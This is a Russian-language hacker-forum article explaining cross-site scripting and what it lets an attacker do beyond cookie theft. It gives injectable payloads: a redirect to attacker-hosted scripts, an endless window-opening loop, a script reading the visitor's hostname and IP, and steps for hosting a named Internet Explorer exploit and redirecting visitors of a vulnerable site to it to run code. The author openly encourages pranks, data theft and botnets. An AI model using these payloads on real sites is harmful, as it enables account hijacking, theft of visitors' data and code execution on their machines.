Приветствую Вас, уважаемые посетители Портала! Зовут меня DrWeb. Я хочу рассказать Вам о предназначении XSS-атак, поскольку XSS-уязвимости представляют гораздо большую опасность, нежели просто кража cookies. Обо всём по порядку…

Сначала об XSS в целом. Аббревиатура XSS расшифровывается как Cross Site Scripting («межсайтовый скриптинг»). Принято его называть именно XSS, а не CSS, так как CSS введена намного раньше, и означает она Cascading Style Sheets – «каскадные таблицы стилей» (применяются в оформлении HTML-станиц). Cross – это «крест», поэтому первая буква в «межсайтовом скриптинге» заменена именно на «X».
XSS – это уязвимость на сервере, позволяющая внедрить в генерируемую скриптами на сервере HTML-страницу (не в скрипт, в отличие от PERL- или PHP-инклудинга) произвольный код путём передачи его в качестве значения нефильтруемой переменной. (TRINUX хорошо описал этот вид атаки в статьях: http://www.inattack.ru/hz.php?name=News … mp;thold=0 и http://www.inattack.ru/hz.php?name=News … mp;thold=0 ). Под «нефильтруемой» переменной подразумевается переменная, которая перед её использованием в скрипте (например, PHP) не проверяется на наличие запретных символов, таких, как: <,>,’,” и многих других. Сначала значение переменной передаётся от HTML-страницы, загруженной в браузере пользователя, php-скрипту (через POST- или GET-запрос). POST-запрос передаёт переменные через массив, неотображаемый в адресной строке браузера; GET-запрос обнаруживает себя в адресной строке следующим образом:
http://www.inattack.ru/hz.php?name=News … mp;thold=0
Так, скрипту hz.php передадутся переменные: $name – со значением “News”, $file – со значением “article”, $sid – со значением “3499” etc… Естественно, удобнее работать с GET-запросами, поэтому, хакер сохраняет страницу взламываемого сайта и в строке, типа
<FОRM ACTION="http://www.inattack.ru/hz.php" METHOD=POST>
POST заменяет на GET. Далее пхп-скрипт, например, генерирует хтмл-страницу, в которой выводит значение одной из переданных переменных безо всякой фильтрации. НО! Если злоумышленник, составляя GET-запрос, вместо обычного значения переменной подставит какие-нибудь ключевые тэги (например, <sсript> или <ВR>), то они выполнятся интерпритатором!

Так уж закрепилось, что большинство компьютерных хулиганов используют XSS только для кражи кукисов (cookies – в большинстве случаев они хранят сессию, присвоив себе которую, злоумышленник сможет быть на сайте под чужим аккаунтом, например, в форуме, где желательна регистрация. Также они хранят зашифрованный пароль, расшифровав который, хулиган сможет завладеть аккаунтом на 100%). Но XSS-баги не ограничиваются кражей cookies.

Собственно, кульминационный абзац:).
Что же позволяют осуществить нам XSS-уязвимости?
1)Всевозможные «подлянки», связанные с ограничением пользователей в нормальной деятельности на сайте. Например, вывод бесконечного числа окон (пример ниже) или сообщений (метод confirm или alert), как результат какого-либо действия пользователя (нажатие, наведение мышью на объект, просто заход на сайт). Или же переадресация на другой узел. Попробуйте внедрить вот этот код (без изменений) в уязвимый сайт:
<sсript language="JavaSсript">window.location.href="http://inattack.ru"</sсript>
Также, сперва протестировав на своём компьютере, попробуйте следующий скрипт. Создайте файл 1.html с таким содержанием:
<Нtml><hеad><titlе>***</titlе></hеad><bоdy>
<sсript>for (i=1;i>0;i++){open('1.html','new'+i);}</sсript>
</bоdy></Нtml>
и откройте его в любом браузере.

2)Кражу конфиденциальной информации посетителя. В первую очередь сюда я отнесу кражу cookies (document.cookie) как самый важный атрибут безопасности пользователя (в этом разделе). Также в этот раздел входит кража информации о системе пользователя и браузере (объект navigator), текущем времени, IP-адресе, а также истории посещённых сайтов (объект history как массив; текущая страница history[0], предыдущая history[-1], всего страниц history.length) и многое другое. Вот пример скрипта, возвращающего IP-адрес посетителя в переменную IP и имя компьютера в переменную host (проверено в Opera, Mozilla, Mizilla Firefox):
<sсript language="JavaSсript">
myAddress=java.net.InetAddress.getLocalHost();
myAddress2=java.net.InetAddress.getLocalHost();
host=myAddress.getHostName();
ip=myAddress2.getHostAddress();
</sсript>

3)Всё, что умеют CGI-, PERL-, PHP-, ASP-скрипты. А это - всё что умеет JS + много приятных мелочей. То бишь это второй способ кражи конфиденциальной информации. Он гораздо удобнее, т.к. приходится внедрять не весь код в HTML-страницу через бажную переменную, а всего лишь ссылку на скрипт; тем более у этих скиптов больше возможностей. Минус в том, что это более палевный (при нерациональном использовании) и немобильный способ, тем более жертва может каким-либо образом просечь нежелаемую загрузку. Например, ты внедряешь в HTML-станицу следующий код:
<sсript language="JavaSсript">window.location.href="http://inattack.ru/hackersscript.php"</sсript>
Здесь inattack.ru – это сервер хакера, а hackersscript.php – это скрипт хакера, выполняющий те или иные действия. Зайдя на взломанную страницу, жертва переадресуется на скрипт http://inattack.ru/hackersscript.php, который сделает своё дело (если жертва не прервёт загрузку). Естественно, есть менее палевные способы загрузки скриптов, нежели window.location.href ; я привёл его только чтобы стало ясно.

4)Непредусмотренные стандартом возможности браузера. Существует множество уязвимостей браузеров, которые при обработке какого-либо кода или вызывают DoS, или предоставляют доступ к определённым файлам, или позволяют выполнять произвольный код в системе пользователя, или ещё что-нибудь не очень приятное для юзера. Множество известных и часто используемых браузеров (Internet Explorer, Netscape, Mozilla, Mozilla Firefox, Opera и всё что создано на их движках) уязвимо. Неуязвимы лишь некоторые их версии или же пропатченные браузеры. Совсем недавно (на момент написания статьи) Бенджамином Тобиасом Францем была обнаружена критическая уязвимость браузера Internet Explorer (v5.5, 6.0), позволяющая выполнить произвольный код в системе пользователя. Как же выполнить произвольный код у пользователя, который зашёл на сайт, имеющий XSS-уязвимость? Зальём эксплоит, написанный Стюартом Персоном (взять его можно отсюда: myphp4.h15.ru/0day-explorer.rar или с сайта securitylab.ru), состоящий из четырёх htm- и одного html-файла, на наш сервер, например, coolhacker.yo. В уязвимом сайте внедрим следующий код
<sсript language="JavaScript">window.location.href="http://coolhacker.yo/0day.html"</sсript>
Теперь, жертва, зайдя на страницу сервера, в которую мы внедрили код, переадресуется на страницу-эксплоит http://coolhacker.yo/0day.html, которая выполнит произвольный код (в нашем случае запустит calc.exe).

Вот и всё, чем я хотел бы с тобой поделиться на данный момент. Как видишь, возможности XSS-атак очень велики. Ты можешь устраивать массовые приколы и подлянки, воровать информацию и конфиденциальные данные и даже строить целые ботнеты, зомбируя посетителей сайтов! XSS-баги будут всегда, так как они подвергают опасности в первую очередь посетителей сайта, но не сервер; и у администрации мало стимула исправлять эти ошибки.